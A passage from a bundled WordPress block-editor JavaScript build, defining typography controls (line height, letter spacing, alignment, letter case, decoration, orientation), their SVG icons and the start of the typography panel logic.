25247 }
25248 onChange(`${nextValue}`);
25249 };
25250 if (!__next40pxDefaultSize && (otherProps.size === void 0 || otherProps.size === "default")) {
25251 external_wp_deprecated_default()(`36px default size for wp.blockEditor.LineHeightControl`, {
25252 since: "6.8",
25253 version: "7.1",
25254 hint: "Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version."
25255 });
25256 }
25257 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-line-height-control", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25258 external_wp_components_namespaceObject.__experimentalNumberControl,
25259 {
25260 ...otherProps,
25261 __shouldNotWarnDeprecated36pxSize: true,
25262 __next40pxDefaultSize,
25263 __unstableInputWidth,
25264 __unstableStateReducer: stateReducer,
25265 onChange: handleOnChange,
25266 label: (0,external_wp_i18n_namespaceObject.__)("Line height"),
25267 placeholder: BASE_DEFAULT_VALUE,
25268 step: STEP,
25269 spinFactor: SPIN_FACTOR,
25270 value,
25271 min: 0,
25272 spinControls: "custom"
25273 }
25274 ) });
25275};
25276var line_height_control_default = line_height_control_LineHeightControl;
25277
25278
25279;// ./node_modules/@wordpress/block-editor/build-module/components/letter-spacing-control/index.js
25280
25281
25282
25283
25284
25285function LetterSpacingControl({
25286 __next40pxDefaultSize = false,
25287 value,
25288 onChange,
25289 __unstableInputWidth = "60px",
25290 ...otherProps
25291}) {
25292 const [availableUnits] = use_settings_useSettings("spacing.units");
25293 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
25294 availableUnits: availableUnits || ["px", "em", "rem"],
25295 defaultValues: { px: 2, em: 0.2, rem: 0.2 }
25296 });
25297 if (!__next40pxDefaultSize && (otherProps.size === void 0 || otherProps.size === "default")) {
25298 external_wp_deprecated_default()(
25299 `36px default size for wp.blockEditor.__experimentalLetterSpacingControl`,
25300 {
25301 since: "6.8",
25302 version: "7.1",
25303 hint: "Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version."
25304 }
25305 );
25306 }
25307 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25308 external_wp_components_namespaceObject.__experimentalUnitControl,
25309 {
25310 __next40pxDefaultSize,
25311 __shouldNotWarnDeprecated36pxSize: true,
25312 ...otherProps,
25313 label: (0,external_wp_i18n_namespaceObject.__)("Letter spacing"),
25314 value,
25315 __unstableInputWidth,
25316 units,
25317 onChange
25318 }
25319 );
25320}
25321
25322
25323;// ./node_modules/@wordpress/icons/build-module/library/align-left.js
25324
25325
25326var align_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 5.5H4V4h9v1.5Zm7 7H4V11h16v1.5Zm-7 7H4V18h9v1.5Z" }) });
25327
25328
25329;// ./node_modules/@wordpress/icons/build-module/library/align-center.js
25330
25331
25332var align_center_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M7.5 5.5h9V4h-9v1.5Zm-3.5 7h16V11H4v1.5Zm3.5 7h9V18h-9v1.5Z" }) });
25333
25334
25335;// ./node_modules/@wordpress/icons/build-module/library/align-right.js
25336
25337
25338var align_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.111 5.5H20V4h-8.889v1.5ZM4 12.5h16V11H4v1.5Zm7.111 7H20V18h-8.889v1.5Z" }) });
25339
25340
25341;// ./node_modules/@wordpress/icons/build-module/library/align-justify.js
25342
25343
25344var align_justify_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 12.8h16v-1.5H4v1.5zm0 7h12.4v-1.5H4v1.5zM4 4.3v1.5h16V4.3H4z" }) });
25345
25346
25347;// ./node_modules/@wordpress/block-editor/build-module/components/text-alignment-control/index.js
25348
25349
25350
25351
25352
25353
25354const TEXT_ALIGNMENT_OPTIONS = [
25355 {
25356 label: (0,external_wp_i18n_namespaceObject.__)("Align text left"),
25357 value: "left",
25358 icon: align_left_default
25359 },
25360 {
25361 label: (0,external_wp_i18n_namespaceObject.__)("Align text center"),
25362 value: "center",
25363 icon: align_center_default
25364 },
25365 {
25366 label: (0,external_wp_i18n_namespaceObject.__)("Align text right"),
25367 value: "right",
25368 icon: align_right_default
25369 },
25370 {
25371 label: (0,external_wp_i18n_namespaceObject.__)("Justify text"),
25372 value: "justify",
25373 icon: align_justify_default
25374 }
25375];
25376const DEFAULT_OPTIONS = ["left", "center", "right"];
25377function TextAlignmentControl({
25378 className,
25379 value,
25380 onChange,
25381 options = DEFAULT_OPTIONS
25382}) {
25383 const validOptions = (0,external_wp_element_namespaceObject.useMemo)(
25384 () => TEXT_ALIGNMENT_OPTIONS.filter(
25385 (option) => options.includes(option.value)
25386 ),
25387 [options]
25388 );
25389 if (!validOptions.length) {
25390 return null;
25391 }
25392 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25393 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
25394 {
25395 isDeselectable: true,
25396 __nextHasNoMarginBottom: true,
25397 __next40pxDefaultSize: true,
25398 label: (0,external_wp_i18n_namespaceObject.__)("Text alignment"),
25399 className: dist_clsx(
25400 "block-editor-text-alignment-control",
25401 className
25402 ),
25403 value,
25404 onChange: (newValue) => {
25405 onChange(newValue === value ? void 0 : newValue);
25406 },
25407 children: validOptions.map((option) => {
25408 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25409 external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon,
25410 {
25411 value: option.value,
25412 icon: option.icon,
25413 label: option.label
25414 },
25415 option.value
25416 );
25417 })
25418 }
25419 );
25420}
25421
25422
25423;// ./node_modules/@wordpress/icons/build-module/library/format-uppercase.js
25424
25425
25426var format_uppercase_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.1 6.8L2.1 18h1.6l1.1-3h4.3l1.1 3h1.6l-4-11.2H6.1zm-.8 6.8L7 8.9l1.7 4.7H5.3zm15.1-.7c-.4-.5-.9-.8-1.6-1 .4-.2.7-.5.8-.9.2-.4.3-.9.3-1.4 0-.9-.3-1.6-.8-2-.6-.5-1.3-.7-2.4-.7h-3.5V18h4.2c1.1 0 2-.3 2.6-.8.6-.6 1-1.4 1-2.4-.1-.8-.3-1.4-.6-1.9zm-5.7-4.7h1.8c.6 0 1.1.1 1.4.4.3.2.5.7.5 1.3 0 .6-.2 1.1-.5 1.3-.3.2-.8.4-1.4.4h-1.8V8.2zm4 8c-.4.3-.9.5-1.5.5h-2.6v-3.8h2.6c1.4 0 2 .6 2 1.9.1.6-.1 1-.5 1.4z" }) });
25427
25428
25429;// ./node_modules/@wordpress/icons/build-module/library/format-lowercase.js
25430
25431
25432var format_lowercase_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11 16.8c-.1-.1-.2-.3-.3-.5v-2.6c0-.9-.1-1.7-.3-2.2-.2-.5-.5-.9-.9-1.2-.4-.2-.9-.3-1.6-.3-.5 0-1 .1-1.5.2s-.9.3-1.2.6l.2 1.2c.4-.3.7-.4 1.1-.5.3-.1.7-.2 1-.2.6 0 1 .1 1.3.4.3.2.4.7.4 1.4-1.2 0-2.3.2-3.3.7s-1.4 1.1-1.4 2.1c0 .7.2 1.2.7 1.6.4.4 1 .6 1.8.6.9 0 1.7-.4 2.4-1.2.1.3.2.5.4.7.1.2.3.3.6.4.3.1.6.1 1.1.1h.1l.2-1.2h-.1c-.4.1-.6 0-.7-.1zM9.2 16c-.2.3-.5.6-.9.8-.3.1-.7.2-1.1.2-.4 0-.7-.1-.9-.3-.2-.2-.3-.5-.3-.9 0-.6.2-1 .7-1.3.5-.3 1.3-.4 2.5-.5v2zm10.6-3.9c-.3-.6-.7-1.1-1.2-1.5-.6-.4-1.2-.6-1.9-.6-.5 0-.9.1-1.4.3-.4.2-.8.5-1.1.8V6h-1.4v12h1.3l.2-1c.2.4.6.6 1 .8.4.2.9.3 1.4.3.7 0 1.2-.2 1.8-.5.5-.4 1-.9 1.3-1.5.3-.6.5-1.3.5-2.1-.1-.6-.2-1.3-.5-1.9zm-1.7 4c-.4.5-.9.8-1.6.8s-1.2-.2-1.7-.7c-.4-.5-.7-1.2-.7-2.1 0-.9.2-1.6.7-2.1.4-.5 1-.7 1.7-.7s1.2.3 1.6.8c.4.5.6 1.2.6 2s-.2 1.4-.6 2z" }) });
25433
25434
25435;// ./node_modules/@wordpress/icons/build-module/library/format-capitalize.js
25436
25437
25438var format_capitalize_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M7.1 6.8L3.1 18h1.6l1.1-3h4.3l1.1 3h1.6l-4-11.2H7.1zm-.8 6.8L8 8.9l1.7 4.7H6.3zm14.5-1.5c-.3-.6-.7-1.1-1.2-1.5-.6-.4-1.2-.6-1.9-.6-.5 0-.9.1-1.4.3-.4.2-.8.5-1.1.8V6h-1.4v12h1.3l.2-1c.2.4.6.6 1 .8.4.2.9.3 1.4.3.7 0 1.2-.2 1.8-.5.5-.4 1-.9 1.3-1.5.3-.6.5-1.3.5-2.1-.1-.6-.2-1.3-.5-1.9zm-1.7 4c-.4.5-.9.8-1.6.8s-1.2-.2-1.7-.7c-.4-.5-.7-1.2-.7-2.1 0-.9.2-1.6.7-2.1.4-.5 1-.7 1.7-.7s1.2.3 1.6.8c.4.5.6 1.2.6 2 .1.8-.2 1.4-.6 2z" }) });
25439
25440
25441;// ./node_modules/@wordpress/block-editor/build-module/components/text-transform-control/index.js
25442
25443
25444
25445
25446
25447const TEXT_TRANSFORMS = [
25448 {
25449 label: (0,external_wp_i18n_namespaceObject.__)("None"),
25450 value: "none",
25451 icon: reset_default
25452 },
25453 {
25454 label: (0,external_wp_i18n_namespaceObject.__)("Uppercase"),
25455 value: "uppercase",
25456 icon: format_uppercase_default
25457 },
25458 {
25459 label: (0,external_wp_i18n_namespaceObject.__)("Lowercase"),
25460 value: "lowercase",
25461 icon: format_lowercase_default
25462 },
25463 {
25464 label: (0,external_wp_i18n_namespaceObject.__)("Capitalize"),
25465 value: "capitalize",
25466 icon: format_capitalize_default
25467 }
25468];
25469function TextTransformControl({ className, value, onChange }) {
25470 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25471 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
25472 {
25473 isDeselectable: true,
25474 __nextHasNoMarginBottom: true,
25475 __next40pxDefaultSize: true,
25476 label: (0,external_wp_i18n_namespaceObject.__)("Letter case"),
25477 className: dist_clsx(
25478 "block-editor-text-transform-control",
25479 className
25480 ),
25481 value,
25482 onChange: (newValue) => {
25483 onChange(newValue === value ? void 0 : newValue);
25484 },
25485 children: TEXT_TRANSFORMS.map((option) => {
25486 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25487 external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon,
25488 {
25489 value: option.value,
25490 icon: option.icon,
25491 label: option.label
25492 },
25493 option.value
25494 );
25495 })
25496 }
25497 );
25498}
25499
25500
25501;// ./node_modules/@wordpress/icons/build-module/library/format-underline.js
25502
25503
25504var format_underline_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M7 18v1h10v-1H7zm5-2c1.5 0 2.6-.4 3.4-1.2.8-.8 1.1-2 1.1-3.5V5H15v5.8c0 1.2-.2 2.1-.6 2.8-.4.7-1.2 1-2.4 1s-2-.3-2.4-1c-.4-.7-.6-1.6-.6-2.8V5H7.5v6.2c0 1.5.4 2.7 1.1 3.5.8.9 1.9 1.3 3.4 1.3z" }) });
25505
25506
25507;// ./node_modules/@wordpress/icons/build-module/library/format-strikethrough.js
25508
25509
25510var format_strikethrough_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9.1 9v-.5c0-.6.2-1.1.7-1.4.5-.3 1.2-.5 2-.5.7 0 1.4.1 2.1.3.7.2 1.4.5 2.1.9l.2-1.9c-.6-.3-1.2-.5-1.9-.7-.8-.1-1.6-.2-2.4-.2-1.5 0-2.7.3-3.6 1-.8.7-1.2 1.5-1.2 2.6V9h2zM20 12H4v1h8.3c.3.1.6.2.8.3.5.2.9.5 1.1.8.3.3.4.7.4 1.2 0 .7-.2 1.1-.8 1.5-.5.3-1.2.5-2.1.5-.8 0-1.6-.1-2.4-.3-.8-.2-1.5-.5-2.2-.8L7 18.1c.5.2 1.2.4 2 .6.8.2 1.6.3 2.4.3 1.7 0 3-.3 3.9-1 .9-.7 1.3-1.6 1.3-2.8 0-.9-.2-1.7-.7-2.2H20v-1z" }) });
25511
25512
25513;// ./node_modules/@wordpress/block-editor/build-module/components/text-decoration-control/index.js
25514
25515
25516
25517
25518
25519const TEXT_DECORATIONS = [
25520 {
25521 label: (0,external_wp_i18n_namespaceObject.__)("None"),
25522 value: "none",
25523 icon: reset_default
25524 },
25525 {
25526 label: (0,external_wp_i18n_namespaceObject.__)("Underline"),
25527 value: "underline",
25528 icon: format_underline_default
25529 },
25530 {
25531 label: (0,external_wp_i18n_namespaceObject.__)("Strikethrough"),
25532 value: "line-through",
25533 icon: format_strikethrough_default
25534 }
25535];
25536function TextDecorationControl({
25537 value,
25538 onChange,
25539 className
25540}) {
25541 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25542 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
25543 {
25544 isDeselectable: true,
25545 __nextHasNoMarginBottom: true,
25546 __next40pxDefaultSize: true,
25547 label: (0,external_wp_i18n_namespaceObject.__)("Decoration"),
25548 className: dist_clsx(
25549 "block-editor-text-decoration-control",
25550 className
25551 ),
25552 value,
25553 onChange: (newValue) => {
25554 onChange(newValue === value ? void 0 : newValue);
25555 },
25556 children: TEXT_DECORATIONS.map((option) => {
25557 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25558 external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon,
25559 {
25560 value: option.value,
25561 icon: option.icon,
25562 label: option.label
25563 },
25564 option.value
25565 );
25566 })
25567 }
25568 );
25569}
25570
25571
25572;// ./node_modules/@wordpress/icons/build-module/library/text-horizontal.js
25573
25574
25575var text_horizontal_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M8.2 14.4h3.9L13 17h1.7L11 6.5H9.3L5.6 17h1.7l.9-2.6zm2-5.5 1.4 4H8.8l1.4-4zm7.4 7.5-1.3.8.8 1.4H5.5V20h14.3l-2.2-3.6z" }) });
25576
25577
25578;// ./node_modules/@wordpress/icons/build-module/library/text-vertical.js
25579
25580
25581var text_vertical_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M7 5.6v1.7l2.6.9v3.9L7 13v1.7L17.5 11V9.3L7 5.6zm4.2 6V8.8l4 1.4-4 1.4zm-5.7 5.6V5.5H4v14.3l3.6-2.2-.8-1.3-1.3.9z" }) });
25582
25583
25584;// ./node_modules/@wordpress/block-editor/build-module/components/writing-mode-control/index.js
25585
25586
25587
25588
25589
25590const WRITING_MODES = [
25591 {
25592 label: (0,external_wp_i18n_namespaceObject.__)("Horizontal"),
25593 value: "horizontal-tb",
25594 icon: text_horizontal_default
25595 },
25596 {
25597 label: (0,external_wp_i18n_namespaceObject.__)("Vertical"),
25598 value: (0,external_wp_i18n_namespaceObject.isRTL)() ? "vertical-lr" : "vertical-rl",
25599 icon: text_vertical_default
25600 }
25601];
25602function WritingModeControl({ className, value, onChange }) {
25603 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25604 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
25605 {
25606 isDeselectable: true,
25607 __nextHasNoMarginBottom: true,
25608 __next40pxDefaultSize: true,
25609 label: (0,external_wp_i18n_namespaceObject.__)("Orientation"),
25610 className: dist_clsx("block-editor-writing-mode-control", className),
25611 value,
25612 onChange: (newValue) => {
25613 onChange(newValue === value ? void 0 : newValue);
25614 },
25615 children: WRITING_MODES.map((option) => {
25616 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25617 external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon,
25618 {
25619 value: option.value,
25620 icon: option.icon,
25621 label: option.label
25622 },
25623 option.value
25624 );
25625 })
25626 }
25627 );
25628}
25629
25630
25631;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/typography-panel.js
25632
25633
25634
25635
25636
25637
25638
25639
25640
25641
25642
25643
25644
25645
25646
25647
25648const MIN_TEXT_COLUMNS = 1;
25649const MAX_TEXT_COLUMNS = 6;
25650function useHasTypographyPanel(settings) {
25651 const hasFontFamily = useHasFontFamilyControl(settings);
25652 const hasLineHeight = useHasLineHeightControl(settings);
25653 const hasFontAppearance = useHasAppearanceControl(settings);
25654 const hasLetterSpacing = useHasLetterSpacingControl(settings);
25655 const hasTextAlign = useHasTextAlignmentControl(settings);
25656 const hasTextTransform = useHasTextTransformControl(settings);
25657 const hasTextDecoration = useHasTextDecorationControl(settings);
25658 const hasWritingMode = useHasWritingModeControl(settings);
25659 const hasTextColumns = useHasTextColumnsControl(settings);
25660 const hasFontSize = useHasFontSizeControl(settings);
25661 return hasFontFamily || hasLineHeight || hasFontAppearance || hasLetterSpacing || hasTextAlign || hasTextTransform || hasFontSize || hasTextDecoration || hasWritingMode || hasTextColumns;
25662}
25663function useHasFontSizeControl(settings) {
25664 return settings?.typography?.defaultFontSizes !== false && settings?.typography?.fontSizes?.default?.length || settings?.typography?.fontSizes?.theme?.length || settings?.typography?.fontSizes?.custom?.length || settings?.typography?.customFontSize;
25665}
25666function useHasFontFamilyControl(settings) {
25667 return ["default", "theme", "custom"].some(
25668 (key) => settings?.typography?.fontFamilies?.[key]?.length
25669 );
25670}
25671function useHasLineHeightControl(settings) {
25672 return settings?.typography?.lineHeight;
25673}
25674function useHasAppearanceControl(settings) {
25675 return settings?.typography?.fontStyle || settings?.typography?.fontWeight;
25676}
25677function useAppearanceControlLabel(settings) {
25678 if (!settings?.typography?.fontStyle) {
25679 return (0,external_wp_i18n_namespaceObject.__)("Font weight");
25680 }
25681 if (!settings?.typography?.fontWeight) {
25682 return (0,external_wp_i18n_namespaceObject.__)("Font style");
25683 }
25684 return (0,external_wp_i18n_namespaceObject.__)("Appearance");
25685}
25686function useHasLetterSpacingControl(settings) {
25687 return settings?.typography?.letterSpacing;
25688}
25689function useHasTextTransformControl(settings) {
25690 return settings?.typography?.textTransform;
25691}
25692function useHasTextAlignmentControl(settings) {
25693 return settings?.typography?.textAlign;
25694}
25695function useHasTextDecorationControl(settings) {
25696 return settings?.typography?.textDecoration;
25697}
25698function useHasWritingModeControl(settings) {
25699 return settings?.typography?.writingMode;
25700}
25701function useHasTextColumnsControl(settings) {
25702 return settings?.typography?.textColumns;
25703}
25704function getMergedFontSizes(settings) {
25705 const fontSizes = settings?.typography?.fontSizes;
25706 const defaultFontSizesEnabled = !!settings?.typography?.defaultFontSizes;
25707 return [
25708 ...fontSizes?.custom ?? [],
25709 ...fontSizes?.theme ?? [],
25710 ...defaultFontSizesEnabled ? fontSizes?.default ?? [] : []
25711 ];
25712}
25713function TypographyToolsPanel({
25714 resetAllFilter,
25715 onChange,
25716 value,
25717 panelId,
25718 children
25719}) {
25720 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
25721 const resetAll = () => {
25722 const updatedValue = resetAllFilter(value);
25723 onChange(updatedValue);
25724 };
25725 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25726 external_wp_components_namespaceObject.__experimentalToolsPanel,
25727 {
25728 label: (0,external_wp_i18n_namespaceObject.__)("Typography"),
25729 resetAll,
25730 panelId,
25731 dropdownMenuProps,
25732 children
25733 }
25734 );
25735}
25736const typography_panel_DEFAULT_CONTROLS = {
25737 fontFamily: true,
25738 fontSize: true,
25739 fontAppearance: true,
25740 lineHeight: true,
25741 letterSpacing: true,
25742 textAlign: true,
25743 textTransform: true,
25744 textDecoration: true,
25745 writingMode: true,
25746 textColumns: true
25747};
25748function TypographyPanel({
25749 as: Wrapper = TypographyToolsPanel,
25750 value,
25751 onChange,
25752 inheritedValue = value,
25753 settings,
25754 panelId,
25755 defaultControls = typography_panel_DEFAULT_CONTROLS,
25756 fitText = false
25757}) {
25758 const decodeValue = (rawValue) => getValueFromVariable({ settings }, "", rawValue);
25759 const hasFontFamilyEnabled = useHasFontFamilyControl(settings);
25760 const fontFamily = decodeValue(inheritedValue?.typography?.fontFamily);
25761 const { fontFamilies, fontFamilyFaces } = (0,external_wp_element_namespaceObject.useMemo)(() => {
25762 return getMergedFontFamiliesAndFontFamilyFaces(settings, fontFamily);
25763 }, [settings, fontFamily]);
25764 const setFontFamily = (newValue) => {
25765 const slug = fontFamilies?.find(
25766 ({ fontFamily: f }) => f === newValue
25767 )?.slug;
25768 let updatedValue = setImmutably(
25769 value,
25770 ["typography", "fontFamily"],
25771 slug ? `var:preset|font-family|${slug}` : newValue || void 0
25772 );
25773 const newFontFamilyFaces = fontFamilies?.find(({ fontFamily: f }) => f === newValue)?.fontFace ?? [];
25774 const { fontStyles, fontWeights } = getFontStylesAndWeights(newFontFamilyFaces);
25775 const hasFontStyle = fontStyles?.some(
25776 ({ value: fs }) => fs === fontStyle
25777 );
25778 const hasFontWeight = fontWeights?.some(
25779 ({ value: fw }) => fw?.toString() === fontWeight?.toString()
25780 );
25781 if (!hasFontStyle || !hasFontWeight) {
25782 const { nearestFontStyle, nearestFontWeight } = findNearestStyleAndWeight(
25783 newFontFamilyFaces,
25784 fontStyle,
25785 fontWeight
25786 );
25787 if (nearestFontStyle || nearestFontWeight) {
25788 updatedValue = {
25789 ...updatedValue,
25790 typography: {
25791 ...updatedValue?.typography,
25792 fontStyle: nearestFontStyle || void 0,
25793 fontWeight: nearestFontWeight || void 0
25794 }
25795 };
25796 } else if (fontStyle || fontWeight) {
25797 updatedValue = {
25798 ...updatedValue,
25799 typography: {
25800 ...updatedValue?.typography,
25801 fontStyle: void 0,
25802 fontWeight: void 0
25803 }
25804 };
25805 }
25806 }
25807 onChange(updatedValue);
25808 };
25809 const hasFontFamily = () => !!value?.typography?.fontFamily;
25810 const resetFontFamily = () => setFontFamily(void 0);
25811 const hasFontSizeEnabled = useHasFontSizeControl(settings);
25812 const disableCustomFontSizes = !settings?.typography?.customFontSize;
25813 const mergedFontSizes = getMergedFontSizes(settings);
25814 const fontSize = decodeValue(inheritedValue?.typography?.fontSize);
25815 const currentFontSizeSlug = (() => {
25816 const rawValue = inheritedValue?.typography?.fontSize;
25817 if (!rawValue || typeof rawValue !== "string") {
25818 return void 0;
25819 }
25820 if (rawValue.startsWith("var:preset|font-size|")) {
25821 return rawValue.replace("var:preset|font-size|", "");
25822 }
25823 const cssVarMatch = rawValue.match(
25824 /^var\(--wp--preset--font-size--([^)]+)\)$/
25825 );
25826 if (cssVarMatch) {
25827 return cssVarMatch[1];
25828 }
25829 return void 0;
25830 })();
25831 const setFontSize = (newValue, metadata) => {
25832 const actualValue = !!metadata?.slug ? `var:preset|font-size|${metadata?.slug}` : newValue;
25833 onChange(
25834 setImmutably(
25835 value,
25836 ["typography", "fontSize"],
25837 actualValue || void 0
25838 )
25839 );
25840 };
25841 const hasFontSize = () => !!value?.typography?.fontSize;
25842 const resetFontSize = () => setFontSize(void 0);
25843 const hasAppearanceControl = useHasAppearanceControl(settings);
25844 const appearanceControlLabel = useAppearanceControlLabel(settings);
25845 const hasFontStyles = settings?.typography?.fontStyle;
25846 const hasFontWeights = settings?.typography?.fontWeight;
25847 const fontStyle = decodeValue(inheritedValue?.typography?.fontStyle);
25848 const fontWeight = decodeValue(inheritedValue?.typography?.fontWeight);
25849 const setFontAppearance = (0,external_wp_element_namespaceObject.useCallback)(
25850 ({ fontStyle: newFontStyle, fontWeight: newFontWeight }) => {
25851 if (newFontStyle !== fontStyle || newFontWeight !== fontWeight) {
25852 onChange({
25853 ...value,
25854 typography: {
25855 ...value?.typography,
25856 fontStyle: newFontStyle || void 0,
25857 fontWeight: newFontWeight || void 0
25858 }
25859 });
25860 }
25861 },
25862 [fontStyle, fontWeight, onChange, value]
25863 );
25864 const hasFontAppearance = () => !!value?.typography?.fontStyle || !!value?.typography?.fontWeight;
25865 const resetFontAppearance = (0,external_wp_element_namespaceObject.useCallback)(() => {
25866 setFontAppearance({});
25867 }, [setFontAppearance]);
25868 const hasLineHeightEnabled = useHasLineHeightControl(settings);
25869 const lineHeight = decodeValue(inheritedValue?.typography?.lineHeight);
25870 const setLineHeight = (newValue) => {
25871 onChange(
25872 setImmutably(
25873 value,
25874 ["typography", "lineHeight"],
25875 newValue || void 0
25876 )
25877 );
25878 };
25879 const hasLineHeight = () => value?.typography?.lineHeight !== void 0;
25880 const resetLineHeight = () => setLineHeight(void 0);
25881 const hasLetterSpacingControl = useHasLetterSpacingControl(settings);
25882 const letterSpacing = decodeValue(
25883 inheritedValue?.typography?.letterSpacing
25884 );
25885 const setLetterSpacing = (newValue) => {
25886 onChange(
25887 setImmutably(
25888 value,
25889 ["typography", "letterSpacing"],
25890 newValue || void 0
25891 )
25892 );
25893 };
25894 const hasLetterSpacing = () => !!value?.typography?.letterSpacing;
25895 const resetLetterSpacing = () => setLetterSpacing(void 0);
25896 const hasTextColumnsControl = useHasTextColumnsControl(settings);
25897 const textColumns = decodeValue(inheritedValue?.typography?.textColumns);
25898 const setTextColumns = (newValue) => {
25899 onChange(
25900 setImmutably(
25901 value,
25902 ["typography", "textColumns"],
25903 newValue || void 0
25904 )
25905 );
25906 };
25907 const hasTextColumns = () => !!value?.typography?.textColumns;
25908 const resetTextColumns = () => setTextColumns(void 0);
25909 const hasTextTransformControl = useHasTextTransformControl(settings);
25910 const textTransform = decodeValue(
25911 inheritedValue?.typography?.textTransform
25912 );
25913 const setTextTransform = (newValue) => {
25914 onChange(
25915 setImmutably(
25916 value,
25917 ["typography", "textTransform"],
25918 newValue || void 0
25919 )
25920 );
25921 };
25922 const hasTextTransform = () => !!value?.typography?.textTransform;
25923 const resetTextTransform = () => setTextTransform(void 0);
25924 const hasTextDecorationControl = useHasTextDecorationControl(settings);
25925 const textDecoration = decodeValue(
25926 inheritedValue?.typography?.textDecoration
25927 );
25928 const setTextDecoration = (newValue) => {
25929 onChange(
25930 setImmutably(
25931 value,
25932 ["typography", "textDecoration"],
25933 newValue || void 0
25934 )
25935 );
25936 };
25937 const hasTextDecoration = () => !!value?.typography?.textDecoration;
25938 const resetTextDecoration = () => setTextDecoration(void 0);
25939 const hasWritingModeControl = useHasWritingModeControl(settings);
25940 const writingMode = decodeValue(inheritedValue?.typography?.writingMode);
25941 const setWritingMode = (newValue) => {
25942 onChange(
25943 setImmutably(
25944 value,
25945 ["typography", "writingMode"],
25946 newValue || void 0
25947 )
25948 );
25949 };
25950 const hasWritingMode = () => !!value?.typography?.writingMode;
25951 const resetWritingMode = () => setWritingMode(void 0);
25952 const hasTextAlignmentControl = useHasTextAlignmentControl(settings);
